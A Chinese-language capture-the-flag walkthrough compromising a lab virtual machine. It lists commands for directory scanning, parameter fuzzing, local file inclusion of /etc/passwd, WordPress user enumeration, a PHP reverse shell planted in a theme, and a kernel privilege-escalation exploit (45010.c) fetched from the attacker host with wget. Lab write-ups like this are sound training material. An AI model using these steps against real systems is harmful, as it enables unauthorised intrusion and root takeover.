环境准备
靶机链接:百度网盘 请输入提取码
提取码:eeqk
虚拟机网络链接模式:桥接模式
攻击机系统:kali linux 2021.1
信息收集
1.探测目标靶机开放端口和服务
2.用gobuster进行目录扫描
gobuster dir -u http://192.168.1.100 \ -w /usr/share/wordlists/dirb/big.txt -t 50 -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak
漏洞利用
1.访问/dev
2.访问secret.txt ,有一个location.txt文件,并且 它让访问一个github地址。
Fuzzing/Fuzz_For_Web at master · hacknpentest/Fuzzing · GitHub
3.查看后,是一个wfuzz测试命令
4.查到一个file
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.1.100/index.php?FUZZ
5.根据第二步提示访问location.txt
6.根据第五步提示,继续操作
7.访问/etc/passwd文件,在最下面说找到password.txt
http://192.168.1.100/image.php?secrettier360=/etc/passwd
8.访问后,拿到密码
finaly you got the right parameter
follow_the_ippsec
9.访问wordpress登录界面
10用wpscan工具枚举用户名
wpscan --url http://192.168.1.100/wordpress -e u
victor
11.只爆出一个用户,尝试登录下!
12.找到一个可以更改的网页
13.复制我的php-reverse-shell.php(github里有)文件的代码,进行保存
14.开启监听后访问下面网页,成功反弹shell
http://192.168.1.100/wordpress/wp-content/themes/twentynineteen/secret.php
权限提升(CVE-2017-16695)
1.用python回弹交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
2.用find命令查找有suid执行权限的文件,没有利用信息。
find / -perm -u=s -type f 2>/dev/null
3.查询靶机内核信息
4.searchsploit查到45010.c符合
searchsploit Ubuntu 16.04
5.searchsploit -m 45010.c //保存到本地
6.gcc 45010.c -o tiquan //编译文件
7.本地开启8000端口,靶机远程下载下来脚本
wget http://192.168.1.106:8000/tiquan
8.下载下来给个执行权限,运行后就是root权限,进入root目录,成功拿下!!!